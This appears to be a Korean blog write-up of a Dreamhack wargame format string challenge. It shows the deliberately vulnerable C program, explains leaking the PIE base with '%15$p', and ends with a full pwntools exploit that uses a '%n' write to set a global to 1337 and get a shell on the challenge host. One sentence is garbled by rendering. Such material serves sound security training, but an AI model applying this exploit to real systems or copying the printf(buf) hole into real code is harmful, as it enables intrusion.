[Dreamhack Wargame] Format String Bug

don't panic·2023년 12월 14일
0

System Hacking wargame

목록 보기
21/39

code


// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

checksec


보호기법이 너무 다양하게 걸려있다ㅠㅠ

exploit

  • changeme가 값이 1337만 되면 셸을 따게 된다.
  • 그러면 값을 바꾸면 되겠다.
  • 그런데 PIE 보호기법이 걸려있기 때문에 PIE 베이스를 구해야 한다.
  1. PIE base 구하기
  2. changeme의 주소를 구해서 해당 갑을 1337로 변환

1. PIE base, changeme 주소 구하기

gdb로 main을 디스어셈블하고 changeme를 비교하는 부분에 중단점을 걸고 실행을 한다.

buf에서 10번째, 즉 %15pmain함수의맨처음시작부분의주소이다.따라서PIEbasep는 main 함수의 맨 처음 시작 부분의 주소이다. 따라서 `PIE base`는 %15p로 받은 주소값에서 main의 심볼값을 빼면 된다.

fstring = b'%15$p'
p.sendline(fstring)
leaked = int(p.recvline()[:-1], 16)
codebase = leaked - e.symbols['main']
changeme = codebase + e.symbols['changeme']

2. changeme 1337로 바꾸기

  • fstring은 buf를 6$부터 참조한다.
  • 우리는 1337만큼의 글자를 쓰고, changeme의 주소를 넣어서 주소가 위치한 변수가 글자수를 참조하도록 하면 된다.
    %1337c%8$n+AAAAAA하면 0x10바이트가 되니까 8번째에 changeme 주소를 넣으면 되는 것이다.
fstring = b'%1337c%8' + b'$nAAAAAA' + p64(changeme)
p.send(fstring)

최종 exploit

from pwn import *

p = remote('host3.dreamhack.games', 16051)
e = ELF('./fsb_overwrite')

fstring = b'%15$p'
p.sendline(fstring)
leaked = int(p.recvline()[:-1], 16)
codebase = leaked - e.symbols['main']
changeme = codebase + e.symbols['changeme']

fstring = b'%1337c%8' + b'$nAAAAAA' + p64(changeme)
p.send(fstring)

p.interactive()

0개의 댓글